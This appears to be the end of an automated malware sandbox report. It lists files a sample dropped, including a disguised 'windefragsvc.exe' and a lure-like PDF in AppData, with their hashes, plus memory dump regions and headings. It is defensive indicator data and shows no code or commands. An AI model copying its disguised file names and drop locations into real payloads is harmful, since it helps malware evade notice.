1210a1dfeadd3c3327f216e1c6487d49567dc51e

SHA256
239d796c77b598e0533f8f378167ad77c801cfa613b20f145e894129ac427d25

SHA512
3bffdc95f60d104d77de17b5166c8008f3842f8e851c656be8774d1e38e3d08116652085ce0476652468b7852da349236337347e613909d9dfd3a427be4f7951

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
a6c9d692ed2826ecb12c09356e69cc09

SHA1
def728a6138cf083d8a7c61337f3c9dade41a37f

SHA256
a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

SHA512
2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nps5w0wo.hmr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Evernote-Supplemental-Terms.pdf

Filesize
70KB

MD5
508c98b92beb1aac53108149273aeb18

SHA1
434698e85e6bf7e1989212ce99d3b3e0a6b5171d

SHA256
861b8186ac5e7157ff17abe83c9aff3856113d43adf3bae520f93d75940c9c46

SHA512
08dfe9c8809bbf0ff03add0025a29e23834b9f37f926c1b9646e5cf217e690cd77872df90a8b2a71f18beb9334a547aa0eb2d26c1fcc423f95e1c19ee42d932f

Download Submit
C:\Users\Admin\AppData\Roaming\windefragsvc.exe

Filesize
11.7MB

MD5
4cbf5db190e95e44d2a637e3513cb39f

SHA1
0f83db9b94d8d3975116732282364ee7aa8d142f

SHA256
84c2b21f5b3c48dfb7481094b8e7f8c2f56e041fe3244b1a608bc264d83536bb

SHA512
a4d0fb58ceabe86f7f3ce81624d7ab60fcde15bed4b928eaf03ed431230052b814d0a483b67ca42afa5dbb0fd9bb02043a6c52db4b980b6fde7d0357d5773193

Download Submit
memory/2100-210-0x0000000006520000-0x0000000006586000-memory.dmp

Filesize
408KB

Download
memory/2100-209-0x0000000006480000-0x000000000651C000-memory.dmp

Filesize
624KB

Download
memory/2100-182-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/4356-10-0x00007FFC80FE0000-0x00007FFC81AA2000-memory.dmp

Filesize
10.8MB

Download
memory/4356-14-0x00007FFC80FE0000-0x00007FFC81AA2000-memory.dmp

Filesize
10.8MB

Download
memory/4356-0-0x00007FFC80FE3000-0x00007FFC80FE5000-memory.dmp

Filesize
8KB

Download
memory/4356-16-0x00007FFC80FE0000-0x00007FFC81AA2000-memory.dmp

Filesize
10.8MB

Download
memory/4356-11-0x00007FFC80FE0000-0x00007FFC81AA2000-memory.dmp

Filesize
10.8MB

Download
memory/4356-9-0x00000232E98C0000-0x00000232E98E2000-memory.dmp

Filesize
136KB

Download
memory/4808-79-0x0000000000EF0000-0x0000000001AB4000-memory.dmp

Filesize
11.8MB

Download
memory/4808-96-0x0000000009050000-0x00000000091D8000-memory.dmp

Filesize
1.5MB

Download
memory/4808-181-0x00000000091E0000-0x00000000095DE000-memory.dmp

Filesize
4.0MB

Download
memory/4808-82-0x00000000065A0000-0x00000000065AA000-memory.dmp

Filesize
40KB

Download
memory/4808-81-0x0000000006650000-0x00000000066E2000-memory.dmp

Filesize
584KB

Download
memory/4808-80-0x0000000006C00000-0x00000000071A6000-memory.dmp

Filesize
5.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads